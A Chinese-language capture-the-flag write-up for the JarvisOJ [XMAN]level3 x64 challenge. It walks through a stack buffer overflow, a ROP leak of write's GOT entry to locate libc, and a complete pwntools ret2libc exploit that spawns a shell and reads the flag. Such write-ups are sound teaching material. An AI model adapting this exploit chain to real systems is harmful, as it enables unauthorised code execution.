一.[xman] Level 3 64位

练习平台：https://www.jarvisoj.com/challenges

题目：[XMAN]level3(x64)

```
zzw@ubuntu:~/Desktop/pwn/3_64$ ./level3_x64
Input:
234324324
Hello, World!
zzw@ubuntu:~/Desktop/pwn/3_64$
```

题目同时还提供了libc.so库文件。libc-2.19.so

二.题目分析

file 查看文件运行平台及其相关信息

```
zzw@ubuntu:~/Desktop/pwn/3_64$ file level3_x64
level3_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically lin
ked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1
]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
```

x86-64。这里要注意传参使用的rdi,rsi，rdx,rcx，r8,r9寄存器。

2.1 IDA查看信息

主函数

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  return write(1, "Hello, World!\n", 0xEuLL);
}
```

vulnerable_function漏洞函数

```
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  write(1, "Input:\n", 7uLL);
  return read(0, buf, 0x200uLL);
}
```

write函数：将buf所指的数据写入到标准输出流中，即显示到桌面。

read函数：从标准输入流中读取0x200个字节的数据到buf中。

这里可以看到buf的大小只有128个字节，所以这里很明显的存在溢出。

查看字符串

Address	Length	Type	String
LOAD:000000...	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:000000...	0000000B	C	libdl.so.2
LOAD:000000...	0000001C	C	_ITM_deregisterTMCloneTable
LOAD:000000...	0000000F	C	__gmon_start__
LOAD:000000...	00000014	C	_Jv_RegisterClasses
LOAD:000000...	0000001A	C	_ITM_registerTMCloneTable
LOAD:000000...	0000000A	C	libc.so.6
LOAD:000000...	00000012	C	__libc_start_main
LOAD:000000...	00000006	C	write
LOAD:000000...	0000000C	C	GLIBC_2.2.5
.rodata:00000...	00000008	C	Input:\n
.rodata:00000...	0000000F	C	Hello, World!\n
.eh_frame:000...	00000006	C	;*3$\"

查看并没有system和'bin/sh'字样。但是提供有libc库。可以从中得到system函数和参数。

2.2 查看保护机制

```
[*] '/home/zzw/Desktop/pwn/3_64/level3_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

NX：堆栈不可执行

stack：没有canary标志位

relro：plt，got表保护未开启

PIE：随机化没有开启

如何利用?

2.3 解题分析

漏洞点：read栈溢出。

限制：堆栈不可执行，只能使用rop

可用条件：提供有libc库，地址未随机化。

ret-to-libc：在read函数前有write函数，可以通过泄露write函数的真实地址，从而泄露system和binsh地址。

- 确定缓冲区大小，这里利用gdb中自带的pattern

```
gdb-peda$ pattern create 500 test.txt
Writing pattern of 500 chars to filename "test.txt"
gdb-peda$ r < test.txt
Starting program: /home/zzw/Desktop/pwn/3_64/level3_x64 < test.txt
Input:

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x1f4
RBX: 0x0
RCX: 0x7ffff7900360 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffdc80 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA
AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffdd08 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy
%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
RIP: 0x400619 (<vulnerable_function+51>:        ret)
R8 : 0x4006c0 (<__libc_csu_fini>:       repz ret)
R9 : 0x7ffff7de7af0 (<_dl_fini>:        push   rbp)
R10: 0x37b
R11: 0x246
R12: 0x4004f0 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffde00 ("vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0As
R14: 0x0
R15: 0x0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
```

这里可以看到发生了溢出，但缓冲区大小是多少呢，这里看ebp的地址被覆盖为：AkAAPAAl

在gdb中输入： pattern offset AkAAPAAl

```
gdb-peda$ pattern offset  AkAAPAAl
AkAAPAAl found at offset: 128
gdb-peda$
```

缓冲区大小为128，但这里要注意的是并不包括ebp的8字节，所以需要128+8的覆盖才能到返回地址的位置。

- 通过write_plt(1,write_got,0x8)将write函数的真实地址打印出来。（延时绑定）

  可以得到write_address真实地址。

  公式计算：（函数在libc中的偏移是固定的，可以用ida看）

  A函数真实地址—libc加载基址 = A在libc中的函数符号地址 (A偏移)

  B函数真实地址—libc加载基址 = B在libc中的函数符号地址 (B偏移)

  A函数真实地址— A在libc中的函数符号地址 (A偏移) = B函数真实地址 —B在libc中的函数符号地址 (B偏移)

  write_true_address—write_symbols_offset = system_true_address—system_symbols_offset

- Ropgadget寻找寄存器

  rdi 赋值 1 （标准输出）

  rsi 赋值 write_got (要显示的内容)

  rdx 赋值 8 (长度)

```
zzw@ubuntu:~/Desktop/pwn/3_64$ ROPgadget --binary level3_x64 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 11
```

LibreOffice Impress

这里发现

pop_rdi_ret = 0x4006b3

只有pop_rsi_ret，只有0x4006b1 。 pop rsi ; pop r15 ; ret

没有pop rdx ;ret

这样如果不设置rdx寄存器的值，那么在调用write_plt时就会直接去rdx之前寄存器的值。这里rdx寄存器代表的输出got表（write函数真实地址）8个字节，即只要大于8即可。

我们是通过read函数进行栈溢出，然后返回地址跳转到write_plt，所以等我们使用rdx寄存器值得时候，rda保存的是read函数环境下的值。这里可以用gdb下断点在read函数。

```
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdc80 --> 0x2
RBX: 0x0
RCX: 0x7ffff79003c0 (<__write_nocancel+7>:      cmp    rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x4006d4 --> 0xa3a7475706e49 ('Input:\n')
RDI: 0x1
RBP: 0x7fffffffdd00 --> 0x7fffffffdd20 --> 0x400650 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdc80 --> 0x2
RIP: 0x40060b (<vulnerable_function+37>:        mov    rsi,rax)
R8 : 0x4006c0 (<__libc_csu_fini>:       repz ret)
R9 : 0x7ffff7de7af0 (<_dl_fini>:        push   rbp)
R10: 0x86f
R11: 0x246
R12: 0x4004f0 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffde00 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005fd <vulnerable_function+23>:   call   0x4004b0 <write@plt>
   0x400602 <vulnerable_function+28>:   lea    rax,[rbp-0x80]
   0x400606 <vulnerable_function+32>:   mov    edx,0x200
=> 0x40060b <vulnerable_function+37>:   mov    rsi,rax
   0x40060e <vulnerable_function+40>:   mov    edi,0x0
   0x400613 <vulnerable_function+45>:   call   0x4004c0 <read@plt>
   0x400618 <vulnerable_function+50>:   leave
   0x400619 <vulnerable_function+51>:   ret
[-------------------------------------stack-------------------------------------]
```

System Settings

可以看到这里rdx的值为0x200。可以不用去设定。

```
from pwn import *
from LibcSearcher import *
pro = process('./level3_x64')
elf=ELF('./level3_x64')
write_plt=elf.plt['write']                              //write函数plt地址
print("the write plt address is ",hex(write_plt))
write_got=elf.got['write']                              //write函数got地址
print("the write got address is ",hex(write_got))
vuln_addr=elf.symbols['vulnerable_function']            //这个作为执行后的返回地址，用以让程序重新开始，堆栈平衡
print("the vuln method address is",hex(vuln_addr))
```

```
pop_rdi_ret=0x4006b3
pop_rsi_r15_ret=0x4006b1
payload=flat([136*'a',p64(pop_rdi_ret),p64(1),p64(pop_rsi_r15_ret),p64(write
_got),p64(0xdeadbeef),p64(write_plt),p64(vuln_addr)])      //寄存器传参， 一个
寄存器rop后跟一个参数，最后调用函数。这个要参考汇编代码。
pro.recvuntil("Input:\n")
pro.sendline(payload)
write_true=u64(pro.recv(8))
print("the write true address is ",hex(write_true))
```

```
[+] Opening connection to pwn2.jarvisoj.com on port 9883: Done
[*] '/home/zzw/Desktop/pwn/3_64/level3_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
the write plt address is  0x4004b0
the write got address is  0x600a58
the vuln method address is 0x4005e6
####
the write true address is  0x7fecdc9593b0
```

这里得到了write的真实运行地址。这样就可以去泄露system和bin/sh地址。

system真实地址都可以用偏移计算出来，但bin/sh字符串的查找有几种方法：

- 使用ROPgadget，或者直接用ida查看

```
zzw@ubuntu:~/Desktop/pwn/3_64$ ROPgadget --binary libc-2.19.so --string '/bin/sh'
Strings information
============================================================
0x0000000000180543 : /bin/sh
```

- 使用LibsSearcher

```
lib=LibcSearcher('write',write_true)    // write的真实地址

symbol_binsh=lib.dump('str_bin_sh')    查找

print("the bin_sh symbol is ",hex(symbol_binsh))
```

- 使用libc.search

```
elf1=ELF('./libc-2.19.so')
symbol_binsh=elf1.search('/bin/sh')
print(symbol_binsh)
```

这种方法得到的是一个迭代器

脚本中使用第一种方法。完整脚本如下

```
from pwn import *
from LibcSearcher import *
#pro = process('./level3_x64')
#pro=remote('pwn2.jarvisoj.com',9877)
pro=remote("pwn2.jarvisoj.com", "9883")
elf=ELF('./level3_x64')
write_plt=elf.plt['write']
print("the write plt address is ",hex(write_plt))
write_got=elf.got['write']
```

```
print("the write got address is ",hex(write_got))
vuln_addr=elf.symbols['vulnerable_function']
print("the vuln method address is",hex(vuln_addr))
pop_rdi_ret=0x4006b3
pop_rsi_r15_ret=0x4006b1
payload=flat([136*'a',p64(pop_rdi_ret),p64(1),p64(pop_rsi_r15_ret),p64(w
rite_got),p64(0xdeadbeef),p64(write_plt),p64(vuln_addr)])
pro.recvuntil("Input:\n")
pro.sendline(payload)
print('####')
write_true=u64(pro.recv(8))
print("the write true address is ",hex(write_true))
print("########################################")
elf1=ELF('./libc-2.19.so')
write_symbol=elf1.symbols['write']
system_symbol=elf1.symbols['system']
baseaddr=write_true-write_symbol
print("the base address is ",hex(baseaddr))
system_true=baseaddr+system_symbol
print("the system true address is ",hex(system_true))
print('########################################')
    #symbol_binsh=elf1.search('/bin/sh')
    #print(i for i in symbol_binsh)
    #lib=LibcSearcher('write',write_true)
    #symbol_binsh=lib.dump('str_bin_sh')
    #print("the bin_sh symbol is ",hex(symbol_binsh))
binsh_true=baseaddr+0x180543
print('the true binsh address is',hex(binsh_true))
payload1=flat([136*'a',p64(pop_rdi_ret),p64(binsh_true),p64(system_true)
])   //再一次利用溢出
pro.recvuntil("Input:\n")
pro.sendline(payload1)
pro.interactive()
```

```
[+] Opening connection to pwn2.jarvisoj.com on port 9883: Done
[*] '/home/zzw/Desktop/pwn/3_64/level3_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
the write plt address is  0x4004b0
the write got address is  0x600a58
the vuln method address is 0x4005e6
####
the write true address is  0x7f3306cc13b0
########################################
[*] '/home/zzw/Desktop/pwn/3_64/libc-2.19.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
the base address is  0x7f3306bd2000
the system true address is  0x7f3306c18590
########################################
the true binsh address is 0x7f3306d52543
[*] Switching to interactive mode
$ ls
flag
level3_x64
$ cat flag
CTF{b1aeaa97fdcc4122533290b73765e4fd}
$
```

flag :

CTF{b1aeaa97fdcc4122533290b73765e4fd}

三.参考链接

https://blog.csdn.net/hanqdi_/article/details/104248544

https://blog.csdn.net/weixin_43921239/article/details/105318835

https://blog.csdn.net/weixin_32821813/article/details/111919816